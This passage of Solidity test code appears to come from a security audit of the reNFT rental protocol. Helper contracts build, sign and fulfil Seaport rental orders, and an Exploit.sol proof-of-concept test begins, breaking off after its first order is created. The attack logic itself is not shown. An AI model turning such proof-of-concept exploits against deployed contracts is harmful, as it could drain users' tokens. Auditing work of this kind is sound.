        OrderComponentsLib
            .empty()
            .withOrderType(SeaportOrderType.FULL_RESTRICTED)
            .withZone(address(create))
            .withStartTime(block.timestamp)
            .withEndTime(block.timestamp + 100)
            .withSalt(123456789)
            .withConduitKey(conduitKey)
            .saveDefault(STANDARD_ORDER_COMPONENTS);

        // for each test token, create a storage slot
        for (uint256 i = 0; i < erc721s.length; i++) {
            usedOfferERC721s.push();
            usedConsiderationERC721s.push();

            usedOfferERC1155s.push();
            usedConsiderationERC1155s.push();
        }
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                                Order Creation                               //
    /////////////////////////////////////////////////////////////////////////////////

    // creates an order based on the provided context. The defaults on this order
    // are good for most test cases.
    function createOrder(
        ProtocolAccount memory offerer,
        OrderType orderType,
        uint256 erc721Offers,
        uint256 erc1155Offers,
        uint256 erc20Offers,
        uint256 erc721Considerations,
        uint256 erc1155Considerations,
        uint256 erc20Considerations
    ) internal {
        // require that the number of offer items or consideration items
        // dont exceed the number of test tokens
        require(
            erc721Offers <= erc721s.length &&
                erc721Offers <= erc1155s.length &&
                erc20Offers <= erc20s.length,
            "TEST: too many offer items defined"
        );
        require(
            erc721Considerations <= erc721s.length &&
                erc1155Considerations <= erc1155s.length &&
                erc20Considerations <= erc20s.length,
            "TEST: too many consideration items defined"
        );

        // create the offerer
        _createOfferer(offerer);

        // add the offer items
        _createOfferItems(erc721Offers, erc1155Offers, erc20Offers);

        // create the consideration items
        _createConsiderationItems(
            erc721Considerations,
            erc1155Considerations,
            erc20Considerations
        );

        // Create order metadata
        _createOrderMetadata(orderType);
    }

    // Creates an offerer on the order to create
    function _createOfferer(ProtocolAccount memory offerer) private {
        orderToCreate.offerer = offerer;
    }

    // Creates offer items which are good for most tests
    function _createOfferItems(
        uint256 erc721Offers,
        uint256 erc1155Offers,
        uint256 erc20Offers
    ) private {
        // generate the ERC721 offer items
        for (uint256 i = 0; i < erc721Offers; ++i) {
            // create the offer item
            orderToCreate.offerItems.push(
                OfferItemLib
                    .empty()
                    .withItemType(ItemType.ERC721)
                    .withToken(address(erc721s[i]))
                    .withIdentifierOrCriteria(usedOfferERC721s[i])
                    .withStartAmount(1)
                    .withEndAmount(1)
            );

            // mint an erc721 to the offerer
            erc721s[i].mint(orderToCreate.offerer.addr);

            // update the used token so it cannot be used again in the same test
            usedOfferERC721s[i]++;
        }

        // generate the ERC1155 offer items
        for (uint256 i = 0; i < erc1155Offers; ++i) {
            // create the offer item
            orderToCreate.offerItems.push(
                OfferItemLib
                    .empty()
                    .withItemType(ItemType.ERC1155)
                    .withToken(address(erc1155s[i]))
                    .withIdentifierOrCriteria(usedOfferERC1155s[i])
                    .withStartAmount(100)
                    .withEndAmount(100)
            );

            // mint an erc1155 to the offerer
            erc1155s[i].mint(orderToCreate.offerer.addr, 100);

            // update the used token so it cannot be used again in the same test
            usedOfferERC1155s[i]++;
        }

        // generate the ERC20 offer items
        for (uint256 i = 0; i < erc20Offers; ++i) {
            // create the offer item
            orderToCreate.offerItems.push(
                OfferItemLib
                    .empty()
                    .withItemType(ItemType.ERC20)
                    .withToken(address(erc20s[i]))
                    .withStartAmount(100)
                    .withEndAmount(100)
            );
        }
    }

    // Creates consideration items that are good for most tests
    function _createConsiderationItems(
        uint256 erc721Considerations,
        uint256 erc1155Considerations,
        uint256 erc20Considerations
    ) private {
        // generate the ERC721 consideration items
        for (uint256 i = 0; i < erc721Considerations; ++i) {
            // create the consideration item, and set the recipient as the offerer's
            // rental safe address
            orderToCreate.considerationItems.push(
                ConsiderationItemLib
                    .empty()
                    .withRecipient(address(orderToCreate.offerer.safe))
                    .withItemType(ItemType.ERC721)
                    .withToken(address(erc721s[i]))
                    .withIdentifierOrCriteria(usedConsiderationERC721s[i])
                    .withStartAmount(1)
                    .withEndAmount(1)
            );

            // update the used token so it cannot be used again in the same test
            usedConsiderationERC721s[i]++;
        }

        // generate the ERC1155 consideration items
        for (uint256 i = 0; i < erc1155Considerations; ++i) {
            // create the consideration item, and set the recipient as the offerer's
            // rental safe address
            orderToCreate.considerationItems.push(
                ConsiderationItemLib
                    .empty()
                    .withRecipient(address(orderToCreate.offerer.safe))
                    .withItemType(ItemType.ERC1155)
                    .withToken(address(erc1155s[i]))
                    .withIdentifierOrCriteria(usedConsiderationERC1155s[i])
                    .withStartAmount(100)
                    .withEndAmount(100)
            );

            // update the used token so it cannot be used again in the same test
            usedConsiderationERC1155s[i]++;
        }

        // generate the ERC20 consideration items
        for (uint256 i = 0; i < erc20Considerations; ++i) {
            // create the offer item
            orderToCreate.considerationItems.push(
                ConsiderationItemLib
                    .empty()
                    .withRecipient(address(ESCRW))
                    .withItemType(ItemType.ERC20)
                    .withToken(address(erc20s[i]))
                    .withStartAmount(100)
                    .withEndAmount(100)
            );
        }
    }

    // Creates a order metadata that is good for most tests
    function _createOrderMetadata(OrderType orderType) private {
        // Create order metadata
        orderToCreate.metadata.orderType = orderType;
        orderToCreate.metadata.rentDuration = 500;
        orderToCreate.metadata.emittedExtraData = new bytes(0);
    }

    // creates a signed seaport order ready to be fulfilled by a renter
    function _createSignedOrder(
        ProtocolAccount memory _offerer,
        OfferItem[] memory _offerItems,
        ConsiderationItem[] memory _considerationItems,
        OrderMetadata memory _metadata
    ) private view returns (Order memory order, bytes32 orderHash) {
        // Build the order components
        OrderComponents memory orderComponents = OrderComponentsLib
            .fromDefault(STANDARD_ORDER_COMPONENTS)
            .withOfferer(_offerer.addr)
            .withOffer(_offerItems)
            .withConsideration(_considerationItems)
            .withZoneHash(create.getOrderMetadataHash(_metadata))
            .withCounter(seaport.getCounter(_offerer.addr));

        // generate the order hash
        orderHash = seaport.getOrderHash(orderComponents);

        // generate the signature for the order components
        bytes memory signature = _signSeaportOrder(_offerer.privateKey, orderHash);

        // create the order, but dont provide a signature if its a PAYEE order.
        // Since PAYEE orders are fulfilled by the offerer of the order, they
        // dont need a signature.
        if (_metadata.orderType == OrderType.PAYEE) {
            order = OrderLib.empty().withParameters(orderComponents.toOrderParameters());
        } else {
            order = OrderLib
                .empty()
                .withParameters(orderComponents.toOrderParameters())
                .withSignature(signature);
        }
    }

    function _signSeaportOrder(
        uint256 signerPrivateKey,
        bytes32 orderHash
    ) private view returns (bytes memory signature) {
        // fetch domain separator from seaport
        (, bytes32 domainSeparator, ) = seaport.information();

        // sign the EIP-712 digest
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            signerPrivateKey,
            domainSeparator.toTypedDataHash(orderHash)
        );

        // encode the signature
        signature = abi.encodePacked(r, s, v);
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                               Order Amendments                              //
    /////////////////////////////////////////////////////////////////////////////////

    function resetOrderToCreate() internal {
        delete orderToCreate;
    }

    function withOfferer(ProtocolAccount memory _offerer) internal {
        orderToCreate.offerer = _offerer;
    }

    function resetOfferer() internal {
        delete orderToCreate.offerer;
    }

    function withReplacedOfferItems(OfferItem[] memory _offerItems) internal {
        // reset all current offer items
        resetOfferItems();

        // add the new offer items to storage
        for (uint256 i = 0; i < _offerItems.length; i++) {
            orderToCreate.offerItems.push(_offerItems[i]);
        }
    }

    function withOfferItem(OfferItem memory offerItem) internal {
        orderToCreate.offerItems.push(offerItem);
    }

    function resetOfferItems() internal {
        delete orderToCreate.offerItems;
    }

    function popOfferItem() internal {
        orderToCreate.offerItems.pop();
    }

    function withReplacedConsiderationItems(
        ConsiderationItem[] memory _considerationItems
    ) internal {
        // reset all current consideration items
        resetConsiderationItems();

        // add the new consideration items to storage
        for (uint256 i = 0; i < _considerationItems.length; i++) {
            orderToCreate.considerationItems.push(_considerationItems[i]);
        }
    }

    function withConsiderationItem(ConsiderationItem memory considerationItem) internal {
        orderToCreate.considerationItems.push(considerationItem);
    }

    function resetConsiderationItems() internal {
        delete orderToCreate.considerationItems;
    }

    function popConsiderationItem() internal {
        orderToCreate.considerationItems.pop();
    }

    function withHooks(Hook[] memory hooks) internal {
        // delete the current metatdata hooks
        delete orderToCreate.metadata.hooks;

        // add each metadata hook to storage
        for (uint256 i = 0; i < hooks.length; i++) {
            orderToCreate.metadata.hooks.push(hooks[i]);
        }
    }

    function withOrderMetadata(OrderMetadata memory _metadata) internal {
        // update the static metadata parameters
        orderToCreate.metadata.orderType = _metadata.orderType;
        orderToCreate.metadata.rentDuration = _metadata.rentDuration;
        orderToCreate.metadata.emittedExtraData = _metadata.emittedExtraData;

        // update the hooks
        withHooks(_metadata.hooks);
    }

    function resetOrderMetadata() internal {
        delete orderToCreate.metadata;
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                              Order Finalization                             //
    /////////////////////////////////////////////////////////////////////////////////

    function finalizeOrder()
        internal
        returns (Order memory, bytes32, OrderMetadata memory)
    {
        // create and sign the order
        (Order memory order, bytes32 orderHash) = _createSignedOrder(
            orderToCreate.offerer,
            orderToCreate.offerItems,
            orderToCreate.considerationItems,
            orderToCreate.metadata
        );

        // pull order metadata into memory
        OrderMetadata memory metadata = orderToCreate.metadata;

        // clear structs
        resetOrderToCreate();

        return (order, orderHash, metadata);
    }
}


// Sets up logic in the test engine related to order fulfillment
// Borrowed from test/fixtures/engine/OrderFulfiller
contract OrderFulfiller is OrderCreator {
    using ECDSA for bytes32;

    struct OrderToFulfill {
        bytes32 orderHash;
        RentPayload payload;
        AdvancedOrder advancedOrder;
    }

    // components of a fulfillment
    ProtocolAccount fulfiller;
    OrderToFulfill[] ordersToFulfill;
    Fulfillment[] seaportMatchOrderFulfillments;
    FulfillmentComponent[][] seaportOfferFulfillments;
    FulfillmentComponent[][] seaportConsiderationFulfillments;
    address seaportRecipient;

    /////////////////////////////////////////////////////////////////////////////////
    //                             Fulfillment Creation                            //
    /////////////////////////////////////////////////////////////////////////////////

    // creates an order fulfillment
    function createOrderFulfillment(
        ProtocolAccount memory _fulfiller,
        Order memory order,
        bytes32 orderHash,
        OrderMetadata memory metadata
    ) internal {
        // set the fulfiller account
        fulfiller = _fulfiller;

        // set the recipient of any offer items after an order is fulfilled. If the fulfillment is via
        // `matchAdvancedOrders`, then any unspent offer items will go to this address as well
        seaportRecipient = address(_fulfiller.safe);

        // get a pointer to a new order to fulfill
        OrderToFulfill storage orderToFulfill = ordersToFulfill.push();

        // create an order fulfillment
        OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe));

        // add the order hash and fulfiller
        orderToFulfill.orderHash = orderHash;

        // create rental zone payload data
        _createRentalPayload(
            orderToFulfill.payload,
            RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr)
        );

        // generate the signature for the payload
        bytes memory signature = _signProtocolOrder(
            rentalSigner.privateKey,
            create.getRentPayloadHash(orderToFulfill.payload)
        );

        // create an advanced order from the order. Pass the rental
        // payload as extra data
        _createAdvancedOrder(
            orderToFulfill.advancedOrder,
            AdvancedOrder(
                order.parameters,
                1,
                1,
                order.signature,
                abi.encode(orderToFulfill.payload, signature)
            )
        );
    }

    function _createOrderFulfiller(
        ProtocolAccount storage storageFulfiller,
        ProtocolAccount memory _fulfiller
    ) private {
        storageFulfiller.addr = _fulfiller.addr;
        storageFulfiller.safe = _fulfiller.safe;
        storageFulfiller.publicKeyX = _fulfiller.publicKeyX;
        storageFulfiller.publicKeyY = _fulfiller.publicKeyY;
        storageFulfiller.privateKey = _fulfiller.privateKey;
    }

    function _createOrderFulfillment(
        OrderFulfillment storage storageFulfillment,
        OrderFulfillment memory fulfillment
    ) private {
        storageFulfillment.recipient = fulfillment.recipient;
    }

    function _createOrderMetadata(
        OrderMetadata storage storageMetadata,
        OrderMetadata memory metadata
    ) private {
        // Create order metadata in storage
        storageMetadata.orderType = metadata.orderType;
        storageMetadata.rentDuration = metadata.rentDuration;
        storageMetadata.emittedExtraData = metadata.emittedExtraData;

        // dynamically push the hooks from memory to storage
        for (uint256 i = 0; i < metadata.hooks.length; i++) {
            storageMetadata.hooks.push(metadata.hooks[i]);
        }
    }

    function _createRentalPayload(
        RentPayload storage storagePayload,
        RentPayload memory payload
    ) private {
        // set payload fulfillment on the order to fulfill
        _createOrderFulfillment(storagePayload.fulfillment, payload.fulfillment);

        // set payload metadata on the order to fulfill
        _createOrderMetadata(storagePayload.metadata, payload.metadata);

        // set payload expiration on the order to fulfill
        storagePayload.expiration = payload.expiration;

        // set payload intended fulfiller on the order to fulfill
        storagePayload.intendedFulfiller = payload.intendedFulfiller;
    }

    function _createAdvancedOrder(
        AdvancedOrder storage storageAdvancedOrder,
        AdvancedOrder memory advancedOrder
    ) private {
        // create the order parameters on the order to fulfill
        _createOrderParameters(storageAdvancedOrder.parameters, advancedOrder.parameters);

        // create the rest of the static parameters on the order to fulfill
        storageAdvancedOrder.numerator = advancedOrder.numerator;
        storageAdvancedOrder.denominator = advancedOrder.denominator;
        storageAdvancedOrder.signature = advancedOrder.signature;
        storageAdvancedOrder.extraData = advancedOrder.extraData;
    }

    function _createOrderParameters(
        OrderParameters storage storageOrderParameters,
        OrderParameters memory orderParameters
    ) private {
        // create the static order parameters for the order to fulfill
        storageOrderParameters.offerer = orderParameters.offerer;
        storageOrderParameters.zone = orderParameters.zone;
        storageOrderParameters.orderType = orderParameters.orderType;
        storageOrderParameters.startTime = orderParameters.startTime;
        storageOrderParameters.endTime = orderParameters.endTime;
        storageOrderParameters.zoneHash = orderParameters.zoneHash;
        storageOrderParameters.salt = orderParameters.salt;
        storageOrderParameters.conduitKey = orderParameters.conduitKey;
        storageOrderParameters.totalOriginalConsiderationItems = orderParameters
            .totalOriginalConsiderationItems;

        // create the dynamic order parameters for the order to fulfill
        for (uint256 i = 0; i < orderParameters.offer.length; i++) {
            storageOrderParameters.offer.push(orderParameters.offer[i]);
        }
        for (uint256 i = 0; i < orderParameters.consideration.length; i++) {
            storageOrderParameters.consideration.push(orderParameters.consideration[i]);
        }
    }

    function _createSeaportFulfillment(
        Fulfillment storage storageFulfillment,
        Fulfillment memory fulfillment
    ) private {
        // push the offer components to storage
        for (uint256 i = 0; i < fulfillment.offerComponents.length; i++) {
            storageFulfillment.offerComponents.push(fulfillment.offerComponents[i]);
        }

        // push the consideration components to storage
        for (uint256 i = 0; i < fulfillment.considerationComponents.length; i++) {
            storageFulfillment.considerationComponents.push(
                fulfillment.considerationComponents[i]
            );
        }
    }

    function _seaportItemTypeToRentalItemType(
        SeaportItemType seaportItemType
    ) internal pure returns (RentalItemType) {
        if (seaportItemType == SeaportItemType.ERC20) {
            return RentalItemType.ERC20;
        } else if (seaportItemType == SeaportItemType.ERC721) {
            return RentalItemType.ERC721;
        } else if (seaportItemType == SeaportItemType.ERC1155) {
            return RentalItemType.ERC1155;
        } else {
            revert("seaport item type not supported");
        }
    }

    function _createRentalOrder(
        OrderToFulfill memory orderToFulfill
    ) internal view returns (RentalOrder memory rentalOrder) {
        // get the order parameters
        OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters;

        // get the payload
        RentPayload memory payload = orderToFulfill.payload;

        // get the metadata
        OrderMetadata memory metadata = payload.metadata;

        // construct a rental order
        rentalOrder = RentalOrder({
            seaportOrderHash: orderToFulfill.orderHash,
            items: new Item[](parameters.offer.length + parameters.consideration.length),
            hooks: metadata.hooks,
            orderType: metadata.orderType,
            lender: parameters.offerer,
            renter: payload.intendedFulfiller,
            rentalWallet: payload.fulfillment.recipient,
            startTimestamp: block.timestamp,
            endTimestamp: block.timestamp + metadata.rentDuration
        });

        // for each new offer item being rented, create a new item struct to add to the rental order
        for (uint256 i = 0; i < parameters.offer.length; i++) {
            // PAYEE orders cannot have offer items
            require(
                metadata.orderType != OrderType.PAYEE,
                "TEST: cannot have offer items in PAYEE order"
            );

            // get the offer item
            OfferItem memory offerItem = parameters.offer[i];

            // determine the item type
            RentalItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType);

            // determine which entity the payment will settle to
            SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20
                ? SettleTo.RENTER
                : SettleTo.LENDER;

            // create a new rental item
            rentalOrder.items[i] = Item({
                itemType: itemType,
                settleTo: settleTo,
                token: offerItem.token,
                amount: offerItem.startAmount,
                identifier: offerItem.identifierOrCriteria
            });
        }

        // for each consideration item in return, create a new item struct to add to the rental order
        for (uint256 i = 0; i < parameters.consideration.length; i++) {
            // PAY orders cannot have consideration items
            require(
                metadata.orderType != OrderType.PAY,
                "TEST: cannot have consideration items in PAY order"
            );

            // get the offer item
            ConsiderationItem memory considerationItem = parameters.consideration[i];

            // determine the item type
            RentalItemType itemType = _seaportItemTypeToRentalItemType(
                considerationItem.itemType
            );

            // determine which entity the payment will settle to
            SettleTo settleTo = metadata.orderType == OrderType.PAYEE &&
                considerationItem.itemType == SeaportItemType.ERC20
                ? SettleTo.RENTER
                : SettleTo.LENDER;

            // calculate item index offset
            uint256 itemIndex = i + parameters.offer.length;

            // create a new payment item
            rentalOrder.items[itemIndex] = Item({
                itemType: itemType,
                settleTo: settleTo,
                token: considerationItem.token,
                amount: considerationItem.startAmount,
                identifier: considerationItem.identifierOrCriteria
            });
        }
    }

    function _signProtocolOrder(
        uint256 signerPrivateKey,
        bytes32 payloadHash
    ) internal view returns (bytes memory signature) {
        // fetch domain separator from create policy
        bytes32 domainSeparator = create.domainSeparator();

        // sign the EIP-712 digest
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            signerPrivateKey,
            domainSeparator.toTypedDataHash(payloadHash)
        );

        // encode the signature
        signature = abi.encodePacked(r, s, v);
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                            Fulfillment Amendments                           //
    /////////////////////////////////////////////////////////////////////////////////

    function withFulfiller(ProtocolAccount memory _fulfiller) internal {
        fulfiller = _fulfiller;
    }

    function withRecipient(address _recipient) internal {
        seaportRecipient = _recipient;
    }

    function withAdvancedOrder(
        AdvancedOrder memory _advancedOrder,
        uint256 orderIndex
    ) internal {
        // get a storage pointer to the order to fulfill
        OrderToFulfill storage orderToFulfill = ordersToFulfill[orderIndex];

        // set the new advanced order
        _createAdvancedOrder(orderToFulfill.advancedOrder, _advancedOrder);
    }

    function withSeaportMatchOrderFulfillment(Fulfillment memory _fulfillment) internal {
        // get a pointer to a new seaport fulfillment
        Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();

        // set the fulfillment
        _createSeaportFulfillment(
            fulfillment,
            Fulfillment({
                offerComponents: _fulfillment.offerComponents,
                considerationComponents: _fulfillment.considerationComponents
            })
        );
    }

    function withSeaportMatchOrderFulfillments(
        Fulfillment[] memory fulfillments
    ) internal {
        // reset all current seaport match order fulfillments
        resetSeaportMatchOrderFulfillments();

        // add the new offer items to storage
        for (uint256 i = 0; i < fulfillments.length; i++) {
            // get a pointer to a new seaport fulfillment
            Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();

            // set the fulfillment
            _createSeaportFulfillment(
                fulfillment,
                Fulfillment({
                    offerComponents: fulfillments[i].offerComponents,
                    considerationComponents: fulfillments[i].considerationComponents
                })
            );
        }
    }

    function withBaseOrderFulfillmentComponents() internal {
        // create offer fulfillments. We need to specify which offer items can be aggregated
        // into one transaction. For example, 2 different orders where the same seller is offering
        // the same item in each.
        //
        // Since BASE orders will only contain ERC721 offer items, these cannot be aggregated. So, a separate fulfillment
        // is created for each order.
        for (uint256 i = 0; i < ordersToFulfill.length; i++) {
            // get a pointer to a new offer fulfillment array. This array will contain indexes of
            // orders and items which are all grouped on whether they can be combined in a single transferFrom()
            FulfillmentComponent[] storage offerFulfillments = seaportOfferFulfillments
                .push();

            // number of offer items in the order
            uint256 offerItemsInOrder = ordersToFulfill[i]
                .advancedOrder
                .parameters
                .offer
                .length;

            // add a single fulfillment component for each offer item in the order
            for (uint256 j = 0; j < offerItemsInOrder; j++) {
                offerFulfillments.push(
                    FulfillmentComponent({orderIndex: i, itemIndex: j})
                );
            }
        }

        // create consideration fulfillments. We need to specify which consideration items can be aggregated
        // into one transaction. For example, 3 different orders where the same fungible consideration items are
        // expected in return.
        //
        // get a pointer to a new offer fulfillment array. This array will contain indexes of
        // orders and items which are all grouped on whether they can be combined in a single transferFrom()
        FulfillmentComponent[]
            storage considerationFulfillments = seaportConsiderationFulfillments.push();

        // BASE orders will only contain ERC20 items, these are fungible and are candidates for aggregation. Because
        // all of these BASE orders will be fulfilled by the same EOA, and all ERC20 consideration items are going to the
        // ESCRW contract, the consideration items can be aggregated. In other words, Seaport will only make a single transfer
        // of ERC20 tokens from the fulfiller EOA to the payment escrow contract.
        //
        // put all fulfillments into one which can be an aggregated transfer
        for (uint256 i = 0; i < ordersToFulfill.length; i++) {
            considerationFulfillments.push(
                FulfillmentComponent({orderIndex: i, itemIndex: 0})
            );
        }
    }

    function withLinkedPayAndPayeeOrders(
        uint256 payOrderIndex,
        uint256 payeeOrderIndex
    ) internal {
        // get the PAYEE order
        OrderParameters memory payeeOrder = ordersToFulfill[payeeOrderIndex]
            .advancedOrder
            .parameters;

        // For each consideration item in the PAYEE order, a fulfillment should be
        // constructed with a corresponding item from the PAY order's offer items.
        for (uint256 i = 0; i < payeeOrder.consideration.length; ++i) {
            // define the offer components
            FulfillmentComponent[] memory offerComponents = new FulfillmentComponent[](1);
            offerComponents[0] = FulfillmentComponent({
                orderIndex: payOrderIndex,
                itemIndex: i
            });

            // define the consideration components
            FulfillmentComponent[]
                memory considerationComponents = new FulfillmentComponent[](1);
            considerationComponents[0] = FulfillmentComponent({
                orderIndex: payeeOrderIndex,
                itemIndex: i
            });

            // get a pointer to a new seaport fulfillment
            Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();

            // set the fulfillment
            _createSeaportFulfillment(
                fulfillment,
                Fulfillment({
                    offerComponents: offerComponents,
                    considerationComponents: considerationComponents
                })
            );
        }
    }

    function resetFulfiller() internal {
        delete fulfiller;
    }

    function resetOrdersToFulfill() internal {
        delete ordersToFulfill;
    }

    function resetSeaportMatchOrderFulfillments() internal {
        delete seaportMatchOrderFulfillments;
    }

    /////////////////////////////////////////////////////////////////////////////////
    //                           Fulfillment Finalization                          //
    /////////////////////////////////////////////////////////////////////////////////

    function _finalizePayOrderFulfillment(
        bytes memory expectedError
    )
        private
        returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
    {
        // get the orders to fulfill
        OrderToFulfill memory payOrder = ordersToFulfill[0];
        OrderToFulfill memory payeeOrder = ordersToFulfill[1];

        // create rental orders
        payRentalOrder = _createRentalOrder(payOrder);
        payeeRentalOrder = _createRentalOrder(payeeOrder);

        // expect an error if error data was provided
        if (expectedError.length != 0) {
            vm.expectRevert(expectedError);
        }
        // otherwise, expect the relevant event to be emitted.
        else {
            vm.expectEmit({emitter: address(create)});
            emit Events.RentalOrderStarted(
                create.getRentalOrderHash(payRentalOrder),
                payOrder.payload.metadata.emittedExtraData,
                payRentalOrder.seaportOrderHash,
                payRentalOrder.items,
                payRentalOrder.hooks,
                payRentalOrder.orderType,
                payRentalOrder.lender,
                payRentalOrder.renter,
                payRentalOrder.rentalWallet,
                payRentalOrder.startTimestamp,
                payRentalOrder.endTimestamp
            );
        }

        // the offerer of the PAYEE order fulfills the orders.
        vm.prank(fulfiller.addr);

        // fulfill the orders
        seaport.matchAdvancedOrders(
            _deconstructOrdersToFulfill(),
            new CriteriaResolver[](0),
            seaportMatchOrderFulfillments,
            seaportRecipient
        );

        // clear structs
        resetFulfiller();
        resetOrdersToFulfill();
        resetSeaportMatchOrderFulfillments();
    }

    function finalizePayOrderFulfillment()
        internal
        returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
    {
        (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes(""));
    }

    function finalizePayOrderFulfillmentWithError(
        bytes memory expectedError
    )
        internal
        returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
    {
        (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(expectedError);
    }

    function _finalizeBaseOrderFulfillment(
        bytes memory expectedError
    ) private returns (RentalOrder memory rentalOrder) {
        // get the order to fulfill
        OrderToFulfill memory baseOrder = ordersToFulfill[0];

        // create a rental order
        rentalOrder = _createRentalOrder(baseOrder);

        // expect an error if error data was provided
        if (expectedError.length != 0) {
            vm.expectRevert(expectedError);
        }
        // otherwise, expect the relevant event to be emitted.
        else {
            vm.expectEmit({emitter: address(create)});
            emit Events.RentalOrderStarted(
                create.getRentalOrderHash(rentalOrder),
                baseOrder.payload.metadata.emittedExtraData,
                rentalOrder.seaportOrderHash,
                rentalOrder.items,
                rentalOrder.hooks,
                rentalOrder.orderType,
                rentalOrder.lender,
                rentalOrder.renter,
                rentalOrder.rentalWallet,
                rentalOrder.startTimestamp,
                rentalOrder.endTimestamp
            );
        }

        // the owner of the rental wallet fulfills the advanced order, and marks the rental wallet
        // as the recipient
        vm.prank(fulfiller.addr);
        seaport.fulfillAdvancedOrder(
            baseOrder.advancedOrder,
            new CriteriaResolver[](0),
            conduitKey,
            seaportRecipient
        );

        // clear structs
        resetFulfiller();
        resetOrdersToFulfill();
        resetSeaportMatchOrderFulfillments();
    }

    function finalizeBaseOrderFulfillment()
        internal
        returns (RentalOrder memory rentalOrder)
    {
        rentalOrder = _finalizeBaseOrderFulfillment(bytes(""));
    }

    function finalizeBaseOrderFulfillmentWithError(
        bytes memory expectedError
    ) internal returns (RentalOrder memory rentalOrder) {
        rentalOrder = _finalizeBaseOrderFulfillment(expectedError);
    }

    function finalizeBaseOrdersFulfillment()
        internal
        returns (RentalOrder[] memory rentalOrders)
    {
        // Instantiate rental orders
        uint256 numOrdersToFulfill = ordersToFulfill.length;
        rentalOrders = new RentalOrder[](numOrdersToFulfill);

        // convert each order to fulfill into a rental order
        for (uint256 i = 0; i < numOrdersToFulfill; i++) {
            rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]);
        }

        // Expect the relevant events to be emitted.
        for (uint256 i = 0; i < rentalOrders.length; i++) {
            vm.expectEmit({emitter: address(create)});
            emit Events.RentalOrderStarted(
                create.getRentalOrderHash(rentalOrders[i]),
                ordersToFulfill[i].payload.metadata.emittedExtraData,
                rentalOrders[i].seaportOrderHash,
                rentalOrders[i].items,
                rentalOrders[i].hooks,
                rentalOrders[i].orderType,
                rentalOrders[i].lender,
                rentalOrders[i].renter,
                rentalOrders[i].rentalWallet,
                rentalOrders[i].startTimestamp,
                rentalOrders[i].endTimestamp
            );
        }

        // the owner of the rental wallet fulfills the advanced orders, and marks the rental wallet
        // as the recipient
        vm.prank(fulfiller.addr);
        seaport.fulfillAvailableAdvancedOrders(
            _deconstructOrdersToFulfill(),
            new CriteriaResolver[](0),
            seaportOfferFulfillments,
            seaportConsiderationFulfillments,
            conduitKey,
            seaportRecipient,
            ordersToFulfill.length
        );

        // clear structs
        resetFulfiller();
        resetOrdersToFulfill();
        resetSeaportMatchOrderFulfillments();
    }

    function finalizePayOrdersFulfillment()
        internal
        returns (RentalOrder[] memory rentalOrders)
    {
        // Instantiate rental orders
        uint256 numOrdersToFulfill = ordersToFulfill.length;
        rentalOrders = new RentalOrder[](numOrdersToFulfill);

        // convert each order to fulfill into a rental order
        for (uint256 i = 0; i < numOrdersToFulfill; i++) {
            rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]);
        }

        // Expect the relevant events to be emitted.
        for (uint256 i = 0; i < rentalOrders.length; i++) {
            // only expect the event if its a PAY order
            if (ordersToFulfill[i].payload.metadata.orderType == OrderType.PAY) {
                vm.expectEmit({emitter: address(create)});
                emit Events.RentalOrderStarted(
                    create.getRentalOrderHash(rentalOrders[i]),
                    ordersToFulfill[i].payload.metadata.emittedExtraData,
                    rentalOrders[i].seaportOrderHash,
                    rentalOrders[i].items,
                    rentalOrders[i].hooks,
                    rentalOrders[i].orderType,
                    rentalOrders[i].lender,
                    rentalOrders[i].renter,
                    rentalOrders[i].rentalWallet,
                    rentalOrders[i].startTimestamp,
                    rentalOrders[i].endTimestamp
                );
            }
        }

        // the offerer of the PAYEE order fulfills the orders. For this order, it shouldn't matter
        // what the recipient address is
        vm.prank(fulfiller.addr);
        seaport.matchAdvancedOrders(
            _deconstructOrdersToFulfill(),
            new CriteriaResolver[](0),
            seaportMatchOrderFulfillments,
            seaportRecipient
        );

        // clear structs
        resetFulfiller();
        resetOrdersToFulfill();
        resetSeaportMatchOrderFulfillments();
    }

    function _deconstructOrdersToFulfill()
        private
        view
        returns (AdvancedOrder[] memory advancedOrders)
    {
        // get the length of the orders to fulfill
        advancedOrders = new AdvancedOrder[](ordersToFulfill.length);

        // build up the advanced orders
        for (uint256 i = 0; i < ordersToFulfill.length; i++) {
            advancedOrders[i] = ordersToFulfill[i].advancedOrder;
        }
    }
}

contract SetupReNFT is OrderFulfiller {}
Exploit.sol
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;

import {
    Order,
    FulfillmentComponent,
    Fulfillment,
    ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";

import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

import {SetupReNFT} from "./SetupExploit.sol";
import {Assertions} from "@test/utils/Assertions.sol";
import {Constants} from "@test/utils/Constants.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";
import "forge-std/console.sol";



contract Exploit is SetupReNFT, Assertions, Constants {

    function test_ERC721_1155_Exploit() public {

        vm.stopPrank();

        /////////////////////////////////////////////
        // Order Creation & Fulfillment simulation //
        /////////////////////////////////////////////

        // Alice creates a BASE order
        createOrder({
            offerer: alice,
            orderType: OrderType.BASE,
            erc721Offers: 0,
            erc1155Offers: 1,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // Finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
